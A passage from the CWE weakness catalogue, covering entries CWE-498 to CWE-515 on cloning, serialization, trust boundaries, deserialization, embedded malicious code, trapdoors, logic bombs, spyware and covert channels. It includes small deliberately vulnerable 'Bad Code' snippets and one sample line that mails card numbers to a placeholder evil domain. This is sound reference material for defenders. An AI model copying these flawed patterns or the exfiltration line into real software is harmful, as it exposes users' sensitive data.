Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system will be vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

### Example 3:

The following code constructs a database connection string, uses it to create a new connection to the database, and prints it to the console.

#### C# Example:

*Bad Code*

```
string cs="database=northwind; server=mysqlserver...";
SqlConnection conn=new SqlConnection(cs);
...
Console.WriteLine(cs);
```

Depending on the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

## Potential Mitigations

## Architecture and Design

### Implementation

Production applications should never use methods that generate internal details such as stack traces and error messages unless that information is directly committed to a log that is not viewable by the end user. All error message text should be HTML entity encoded before being written to the log file to protect against potential cross-site scripting attacks against the viewer of the logs

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		200	Information Exposure	<b>699</b> <b>1000</b>	384
ChildOf		485	Insufficient Encapsulation	<b>700</b>	819
ChildOf		851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	<b>844</b>	1294
ChildOf		880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	<b>868</b>	1317
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		System Information Leak
CERT Java Secure Coding	ERR01-J	Do not allow exceptions to expose sensitive information
CERT C++ Secure Coding	ERR12-CPP	Do not allow exceptions to transmit sensitive information
Software Fault Patterns	SFP23	Exposed Data

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
169	Footprinting	

# CWE-498: Cloneable Class Containing Sensitive Information

**Weakness ID:** 498 (*Weakness Variant*)**Status:** Draft

### Description

#### Summary

The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.

#### Extended Description

Cloneable classes are effectively open classes, since data cannot be hidden in them. Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C++
- Java
- .NET

### Common Consequences

#### Access Control

#### Bypass protection mechanism

A class that can be cloned can be produced without executing the constructor. This is dangerous since the constructor may perform security-related checks. By allowing the object to be cloned, those checks may be bypassed.

### Likelihood of Exploit

Medium

**Demonstrative Examples****Java Example:**

Bad Code

```

public class CloneClient {
    public CloneClient() //throws
    java.lang.CloneNotSupportedException {
        Teacher t1 = new Teacher("guddu", "22,nagar road");
        //...
        // Do some stuff to remove the teacher.
        Teacher t2 = (Teacher)t1.clone();
        System.out.println(t2.name);
    }
    public static void main(String args[]) {
        new CloneClient();
    }
}
class Teacher implements Cloneable {
    public Object clone() {
        try {
            return super.clone();
        }
        catch (java.lang.CloneNotSupportedException e) {
            throw new RuntimeException(e.toString());
        }
    }
    public String name;
    public String clas;
    public Teacher(String name,String clas) {
        this.name = name;
        this.clas = clas;
    }
}

```

**Potential Mitigations****Implementation**

Make classes uncloneable by defining a clone function like:

**Java Example:**

Mitigation Code

```





public final void clone() throws java.lang.CloneNotSupportedException {
    throw new java.lang.CloneNotSupportedException();
}

```

**Implementation**

If you do make your classes clonable, ensure that your clone method is final and throw `super.clone()`.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
CanPrecede		200	Information Exposure	<input checked="" type="checkbox"/>	699 384 1000
ChildOf		485	Insufficient Encapsulation	<input checked="" type="checkbox"/>	<b>699</b> 819 <b>1000</b>
ChildOf		849	CERT Java Secure Coding Section 04 - Object Orientation (OBJ)	<input checked="" type="checkbox"/>	<b>844</b> 1293
ChildOf		963	SFP Secondary Cluster: Exposed Data	<input checked="" type="checkbox"/>	<b>888</b> 1377
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section	<input checked="" type="checkbox"/>	<b>884</b> 1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Information leak through class cloning
CERT Java Secure Coding	OBJ07-J	Sensitive classes must not let themselves be copied
Software Fault Patterns	SFP23	Exposed Data



# CWE-499: Serializable Class Containing Sensitive Data

Weakness ID: 499 (Weakness Variant) Status: Draft

## Description

### Summary

The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.

### Extended Description

Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Confidentiality

##### Read application data

an attacker can write out the class to a byte stream, then extract the important data from it.

### Likelihood of Exploit

High

### Demonstrative Examples

This code creates a new record for a medical patient:

#### Java Example:

*Bad Code*

```
class PatientRecord {
    private String name;
    private String socialSecurityNum;
    public Patient(String name,String ssn) {
        this.SetName(name);
        this.SetSocialSecurityNumber(ssn);
    }
}
```

This object does not explicitly deny serialization, allowing an attacker to serialize an instance of this object and gain a patient's name and Social Security number even though those fields are private.

### Potential Mitigations

#### Implementation

In Java, explicitly define final writeObject() to prevent serialization. This is the recommended solution. Define the writeObject() function to throw an exception explicitly denying serialization.

#### Implementation

Make sure to prevent serialization of your objects.

### Relationships

Nature	Type	ID	Name		Page
CanPrecede		200	Information Exposure		699 1000 384
ChildOf		485	Insufficient Encapsulation		<b>699</b> <b>1000</b> 819
ChildOf		858	CERT Java Secure Coding Section 13 - Serialization (SER)		<b>844</b> 1297
ChildOf		963	SFP Secondary Cluster: Exposed Data		<b>888</b> 1377
MemberOf		884	CWE Cross-section		<b>884</b> 1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Information leak through serialization
CERT Java Secure Coding	SER03-J	Do not serialize unencrypted, sensitive data

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	SER05-J	Do not serialize instances of inner classes
Software Fault Patterns	SFP23	Exposed Data

## CWE-500: Public Static Field Not Marked Final

Weakness ID: 500 (*Weakness Variant*)

Status: Draft

### Description

#### Summary

An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.

#### Extended Description

Public static variables can be read without an accessor and changed without a mutator by any classes in the application.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- C++
- Java

#### Common Consequences

##### Integrity

##### Modify application data

The object could potentially be tampered with.

##### Confidentiality

##### Read application data

The object could potentially allow the object to be read.

#### Likelihood of Exploit

High

#### Demonstrative Examples

The following examples use of a public static String variable to contain the name of a property/configuration file for the application.

##### C++ Example:

*Bad Code*

```
class SomeAppClass {
public:
    static string appPropertiesConfigFile = "app/properties.config";
    ...
}
```

##### Java Example:

*Bad Code*

```
public class SomeAppClass {
    public static String appPropertiesFile = "app/Application.properties";
    ...
}
```

Having a public static variable that is not marked final (constant) may allow the variable to be altered in a way not intended by the application. In this example the String variable can be modified to indicate a different or nonexistent properties file which could cause the application to crash or caused unexpected behavior.

##### C++ Example:

*Good Code*

```
class SomeAppClass {
public:
    static const string appPropertiesConfigFile = "app/properties.config";
    ...
}
```

### Java Example:

Good Code

```
public class SomeAppClass {  
    public static final String appPropertiesFile = "app/Application.properties";  
    ...  
}
```

### Potential Mitigations

#### Architecture and Design

Clearly identify the scope for all critical data elements, including whether they should be regarded as static.

#### Implementation

Make any static fields private and constant.

A constant field is denoted by the keyword 'const' in C/C++ and 'final' in Java

### Background Details

When a field is declared public but not final, the field can be read and written to by arbitrary Java code.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		493	Critical Public Variable Without Final Modifier		699 1000 833
ChildOf		849	CERT Java Secure Coding Section 04 - Object Orientation (OBJ)		844 1293
ChildOf		1002	SFP Secondary Cluster: Unexpected Entry Points		888 1404

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Overflow of static internal buffer
CERT Java Secure Coding	OBJ10-J	Do not use public static nonfinal variables
Software Fault Patterns	SFP28	Unexpected access points

### White Box Definitions

A weakness where code path has a statement that defines a public field that is static and non-final

## CWE-501: Trust Boundary Violation

Weakness ID: 501 (Weakness Base)

Status: Draft

### Description

#### Summary

The product mixes trusted and untrusted data in the same data structure or structured message.

#### Extended Description

A trust boundary can be thought of as line drawn through a program. On one side of the line, data is untrusted. On the other side of the line, data is assumed to be trustworthy. The purpose of validation logic is to allow data to safely cross the trust boundary - to move from untrusted to trusted. A trust boundary violation occurs when a program blurs the line between what is trusted and what is untrusted. By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Bypass protection mechanism

### Demonstrative Examples

The following code accepts an HTTP request and stores the username parameter in the HTTP session object before checking to ensure that the user has been authenticated.

**Java Example:**

*Bad Code*

```
username = request.getParameter("username");
if (session.getAttribute(ATTR_USR) == null) {
    session.setAttribute(ATTR_USR, username);
}
```

**C# Example:**

*Bad Code*

```
username = request.Item("username");
if (session.Item(ATTR_USR) == null) {
    session.Add(ATTR_USR, username);
}
```

Without well-established and maintained trust boundaries, programmers will inevitably lose track of which pieces of data have been validated and which have not. This confusion will eventually allow some data to be used without first being validated.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		485	Insufficient Encapsulation	<b>699</b> <b>700</b> <b>1000</b>	819
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Trust Boundary Violation
Software Fault Patterns	SFP23	Exposed Data

## CWE-502: Deserialization of Untrusted Data

**Weakness ID:** 502 (*Weakness Variant*)

**Status:** Draft

**Description**

**Summary**

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

**Extended Description**

It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption. Data that is untrusted can not be trusted to be well-formed.

**Alternate Terms**

**Marshaling, Unmarshaling**

Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.

**Pickling, Unpickling**

In Python, the "pickle" functionality is used to perform serialization and deserialization.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- Java
- Ruby
- PHP
- Python

- Language-independent

## Common Consequences

### Varies by context

The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used.

### Integrity

#### Modify application data

#### Unexpected state

Attackers can modify unexpected objects or data that was assumed to be safe from modification.

### Availability

#### DoS: resource consumption (CPU)

If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.

### Authorization

#### Other

#### Other

Code could potentially make the assumption that information in the deserialized object is valid.

Functions that make this dangerous assumption could be exploited.

## Likelihood of Exploit

Medium

## Demonstrative Examples

This code snippet deserializes an object from a file and uses it as a UI button:

### Java Example:

*Bad Code*

```
try {
    File file = new File("object.obj");
    ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
    javax.swing.JButton button = (javax.swing.JButton) in.readObject();
    in.close();
}
```

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

## Observed Examples

Reference	Description
CVE-2003-0791	Web browser allows execution of native methods via a crafted string to a JavaScript function that deserializes the string.
CVE-2011-2520	Python script allows local users to execute code via pickled data.
CVE-2012-0911	Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.
CVE-2012-0911	Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.
CVE-2012-3527	Use of PHP unserialize function on untrusted input in content management system might allow code execution.
CVE-2012-4406	Unsafe deserialization using pickle in a Python script.
CVE-2013-1465	Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.

## Potential Mitigations

### Architecture and Design

#### Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

### Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

### Implementation

Explicitly define final readObject() to prevent deserialization. An example of this is:

#### Java Example:

Good Code

```
private final void readObject(ObjectInputStream in) throws java.io.IOException {
    throw new java.io.IOException("Cannot be deserialized"); }

```

### Architecture and Design

#### Implementation

Make fields transient to protect them from deserialization.

An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

### Background Details

Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").

### Relationships

Nature	Type	ID	Name	Count	Page
ChildOf	C	858	CERT Java Secure Coding Section 13 - Serialization (SER)	844	1297
ChildOf	G	913	Improper Control of Dynamically-Managed Code Resources	699	1336
				1000	
PeerOf	B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1000	1339
ChildOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	1391
MemberOf	V	884	CWE Cross-section	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Deserialization of untrusted data
CERT Java Secure Coding	SER01-J	Do not deviate from the proper signatures of serialization methods
CERT Java Secure Coding	SER03-J	Do not serialize unencrypted, sensitive data
CERT Java Secure Coding	SER06-J	Make defensive copies of private mutable components during deserialization
CERT Java Secure Coding	SER08-J	Do not use the default serialized form for implementation defined invariants
Software Fault Patterns	SFP25	Tainted input to variable

### References

Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010-08-25. < <http://heine.familiedeelstra.com/security/unserialize> >.

Nadia Alramli. "Why Python Pickle is Insecure". 2009-09-09. < <http://nadiana.com/python-pickle-insecure> >.

### Maintenance Notes

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

## CWE-503: Byte/Object Code

Category ID: 503 (Category)

Status: Draft

### Description

#### Summary

Weaknesses in this category are typically found within byte code or object code.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	17	Code	699	17
ParentOf	B	14	Compiler Removal of Code to Clear Buffers	699	12
ParentOf	C	490	Mobile Code Issues	699	826

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Object Code

## CWE-504: Motivation/Intent

Category ID: 504 (Category)

Status: Draft

### Description

#### Summary

This category intends to capture the motivations and intentions of developers that lead to weaknesses that are found within CWE.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	505	Intentionally Introduced Weakness	699	850
ParentOf	C	518	Inadvertently Introduced Weakness	699	860
MemberOf	V	699	Development Concepts	699	1081

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Genesis

## CWE-505: Intentionally Introduced Weakness

Category ID: 505 (Category)

Status: Draft

### Description

#### Summary

Weaknesses in this category were intentionally introduced by the developer, typically as a result of prioritizing other aspects of the program over security, such as maintenance.

#### Extended Description

Characterizing intention is tricky: some features intentionally placed in programs can at the same time inadvertently introduce security flaws. For example, a feature that facilitates remote debugging or system maintenance may at the same time provide a trapdoor to a system. Where such cases can be distinguished, they are categorized as intentional but nonmalicious. Not wishing to endow programs with intentions, we nevertheless use the terms "malicious flaw," "malicious code," and so on, as shorthand for flaws, code, etc., that have been introduced into a system by an individual with malicious intent. Although some malicious flaws could be disguised as inadvertent flaws, this distinction can be easy to make in practice. Inadvertently created Trojan horse programs are hardly likely, although an intentionally-introduced buffer overflow might plausibly seem to be an error.

### Demonstrative Examples

The following snippet from a Java servlet demonstrates the use of a "debug" parameter that invokes debug-related functionality. If deployed into production, an attacker may use the debug parameter to get the application to divulge sensitive information.

#### Java Example:

Bad Code

```
String mode = request.getParameter("mode");
// perform requested servlet task
...
if (mode.equals(DEBUG)) {
    // print sensitive information in client browser (PII, server statistics, etc.)
    ...
}
```



## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	504	Motivation/Intent	699	850
ParentOf	G	506	Embedded Malicious Code	699	851
ParentOf	C	513	Intentionally Introduced Nonmalicious Weakness	699	857
ParentOf	G	912	Hidden Functionality	699	1336
ParentOf	G	913	Improper Control of Dynamically-Managed Code Resources	699	1336

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Intentional

# CWE-506: Embedded Malicious Code

Weakness ID: 506 (Weakness Class)

Status: Incomplete

## Description

### Summary

The application contains code that appears to be malicious in nature.

### Extended Description

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.

## Terminology Notes

The term "Trojan horse" was introduced by Dan Edwards and recorded by James Anderson [18] to characterize a particular computer security threat; it has been redefined many times [4,18-20].

## Time of Introduction

- Implementation

## Common Consequences

### Confidentiality

### Integrity

### Availability

Execute unauthorized code or commands

## Detection Methods

### Manual Static Analysis - Binary / Bytecode

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Generated Code Inspection

### Dynamic Analysis with manual results interpretation

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Automated Monitored Execution

### Manual Static Analysis - Source Code

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Manual Source Code Review (not inspections)

## Automated Static Analysis

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Origin Analysis

### Demonstrative Examples

In the example below, a malicious developer has injected code to send credit card numbers to his email address.

#### Java Example:

*Bad Code*

```
boolean authorizeCard(String ccn) {
    // Authorize credit card.
    ...
    mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
```

### Potential Mitigations

#### Testing

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	505	Intentionally Introduced Weakness	699	850
ChildOf	C	904	SFP Primary Cluster: Malware	888	1329
ChildOf	C	912	Hidden Functionality	1000	1336
ParentOf	B	507	Trojan Horse	699	852
				1000	
ParentOf	B	510	Trapdoor	699	854
				1000	
ParentOf	B	511	Logic/Time Bomb	699	856
				1000	
ParentOf	B	512	Spyware	699	857
				1000	

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Malicious

## CWE-507: Trojan Horse

Weakness ID: 507 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.

### Terminology Notes

Definitions of "Trojan horse" and related terms have varied widely over the years, but common usage in 2008 generally refers to software that performs a legitimate function, but also contains malicious code.

Almost any malicious code can be called a Trojan horse, since the author of malicious code needs to disguise it somehow so that it will be invoked by a nonmalicious user (unless the author means also to invoke the code, in which case he or she presumably already possesses the authorization to perform the intended sabotage). A Trojan horse that replicates itself by copying its code into other program files (see case MA1) is commonly referred to as a virus. One that replicates itself by

creating new processes or files to contain its code, instead of modifying existing storage entities, is often called a worm. Denning provides a general discussion of these terms; differences of opinion about the term applicable to a particular flaw or its exploitations sometimes occur.

#### Time of Introduction

- Implementation
- Operation

#### Common Consequences

- Confidentiality**
- Integrity**
- Availability**
- Execute unauthorized code or commands**

#### Potential Mitigations

##### Operation

Most antivirus software scans for Trojan Horses.


##### Installation

Verify the integrity of the software that is being installed.

#### Other Notes

Potentially malicious dynamic code compiled at runtime can conceal any number of attacks that will not appear in the baseline. The use of dynamically compiled code could also allow the injection of attacks on post-deployed applications.

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		506	Embedded Malicious Code	699 1000	851
ChildOf		904	SFP Primary Cluster: Malware	888	1329
ParentOf		508	<i>Non-Replicating Malicious Code</i>	699 1000	853
ParentOf		509	<i>Replicating Malicious Code (Virus or Worm)</i>	699 1000	854

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Trojan Horse

#### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 7, "Viruses, Trojans, and Worms In a Nutshell" Page 208. 2nd Edition. Microsoft. 2002.

## CWE-508: Non-Replicating Malicious Code

Weakness ID: 508 (*Weakness Base*) Status: Incomplete

#### Description

##### Summary

Non-replicating malicious code only resides on the target system or software that is attacked; it does not attempt to spread to other systems.

#### Time of Introduction

- Implementation
- Operation

#### Common Consequences

- Confidentiality**
- Integrity**
- Availability**
- Execute unauthorized code or commands**

#### Potential Mitigations

##### Operation

Antivirus software can help mitigate known malicious code.

**Installation**

Verify the integrity of the software that is being installed.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	⊖	507	Trojan Horse	699	852
ChildOf	⊖	904	SFP Primary Cluster: Malware	888	1329

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Non-Replicating

**CWE-509: Replicating Malicious Code (Virus or Worm)****Weakness ID:** 509 (*Weakness Base*)**Status:** Incomplete**Description****Summary**

Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or software.

**Time of Introduction**

- Implementation
- Operation

**Common Consequences****Confidentiality****Integrity****Availability****Execute unauthorized code or commands****Potential Mitigations****Operation**

Antivirus software scans for viruses or worms.

**Installation**

Always verify the integrity of the software that is being installed.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	⊖	507	Trojan Horse	699	852
ChildOf	⊖	904	SFP Primary Cluster: Malware	888	1329

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Replicating (virus)

**CWE-510: Trapdoor****Weakness ID:** 510 (*Weakness Base*)**Status:** Incomplete**Description****Summary**

A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Common Consequences**

**Confidentiality**

**Integrity**

**Availability**

**Access Control**

**Execute unauthorized code or commands**

**Bypass protection mechanism**

**Detection Methods**

**Automated Static Analysis - Binary / Bytecode**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Inter-application Flow Analysis

Binary / Bytecode simple extractor – strings, ELF readers, etc.

**Manual Static Analysis - Binary / Bytecode**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Generated Code Inspection

**Dynamic Analysis with manual results interpretation**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Automated Monitored Execution

Forced Path Execution

Debugger

Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

**Manual Static Analysis - Source Code**

**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

**Automated Static Analysis - Source Code**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Context-configured Source Code Weakness Analyzer

**Architecture / Design Review**

**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Cost effective for partial coverage:

Formal Methods / Correct-By-Construction

**Potential Mitigations**

**Installation**

Always verify the integrity of the software that is being installed.

### Testing

Identify and closely inspect the conditions for entering privileged areas of the code, especially those related to authentication, process invocation, and network communications.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		506	Embedded Malicious Code	699	851
ChildOf		904	SFP Primary Cluster: Malware	888	1329

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Trapdoor

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
56	Removing/short-circuiting 'guard logic'	

## CWE-511: Logic/Time Bomb

Weakness ID: 511 (*Weakness Base*)

Status: Incomplete

### Description

#### Summary

The software contains code that is designed to disrupt the legitimate operation of the software (or its environment) when a certain time passes, or when a certain logical condition is met.

#### Extended Description

When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Language-independent

#### Architectural Paradigms

- Mobile Application

### Common Consequences

#### Other

#### Integrity

#### Varies by context

#### Alter execution logic

### Demonstrative Examples

Typical examples of triggers include system date or time mechanisms, random number generators, and counters that wait for an opportunity to launch their payload. When triggered, a time-bomb may deny service by crashing the system, deleting files, or degrading system response-time.

### Potential Mitigations

#### Installation

Always verify the integrity of the software that is being installed.

#### Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		506	Embedded Malicious Code	699	851
				1000	

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	904	SFP Primary Cluster: Malware	<b>888</b>	1329

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Logic/Time Bomb

### References

[REF-33] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. < <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/> >.

## CWE-512: Spyware

Weakness ID: 512 (*Weakness Base*)

Status: Incomplete

### Description

#### Summary

The software collects personally identifiable information about a human user or the user's activities, but the software accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the software.

#### Extended Description

"Spyware" is a commonly used term with many definitions and interpretations. In general, it is meant to software that collects information or installs functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Common Consequences

#### Confidentiality

Read application data

### Potential Mitigations

#### Operation

Use spyware detection and removal software.

#### Installation

Always verify the integrity of the software that is being installed.

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf	<b>G</b>	506	Embedded Malicious Code	<b>699</b>	851
ChildOf	<b>C</b>	904	SFP Primary Cluster: Malware	<b>888</b>	1329

## CWE-513: Intentionally Introduced Nonmalicious Weakness

Category ID: 513 (*Category*)

Status: Incomplete

### Description

#### Summary

Nonmalicious introduction of weaknesses into software can still render it vulnerable to various attacks.

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	505	Intentionally Introduced Weakness	<b>699</b>	850



Nature	Type	ID	Name	V	Page
ParentOf	C	517	Other Intentional, Nonmalicious Weakness	699	860

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Nonmalicious

## CWE-514: Covert Channel

Weakness ID: 514 (Weakness Class) Status: Incomplete

### Description

#### Summary

A covert channel is a path that can be used to transfer information in a way not intended by the system's designers.

#### Extended Description

Typically the system has not given authorization for the transmission and has no knowledge of its occurrence.

### Time of Introduction

- Implementation
- Operation

### Common Consequences

#### Confidentiality

#### Access Control

Read application data

Bypass protection mechanism

### Detection Methods

#### Architecture / Design Review

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	418	Channel Errors	699	722
ChildOf	C	518	Inadvertently Introduced Weakness	699	860
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1000	1035
ChildOf	C	912	Hidden Functionality	1000	1336
ChildOf	C	968	SFP Secondary Cluster: Covert Channel	888	1380
ParentOf	B	385	Covert Timing Channel	699	666
				1000	
ParentOf	B	515	Covert Storage Channel	699	858
				1000	

### Theoretical Notes

A covert channel can be thought of as an emergent resource, meaning that it was not an originally intended resource, however it exists due the application's behaviors.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Covert Channel

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
463	Padding Oracle Crypto Attack	

## CWE-515: Covert Storage Channel

**Weakness ID:** 515 (*Weakness Base*) **Status:** Incomplete

**Description**

**Summary**

A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.

**Extended Description**

Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.

**Time of Introduction**

- Implementation

**Common Consequences**

**Confidentiality**

**Read application data**

Covert storage channels may provide attackers with important information about the system in question.

**Integrity**

**Confidentiality**

**Read application data**

If these messages or packets are sent with unnecessary data contained within, it may tip off malicious listeners as to the process that created the message. With this information, attackers may learn any number of things, including the hardware platform, operating system, or algorithms used by the sender. This information can be of significant value to the user in launching further attacks.

**Likelihood of Exploit**

High

**Demonstrative Examples**

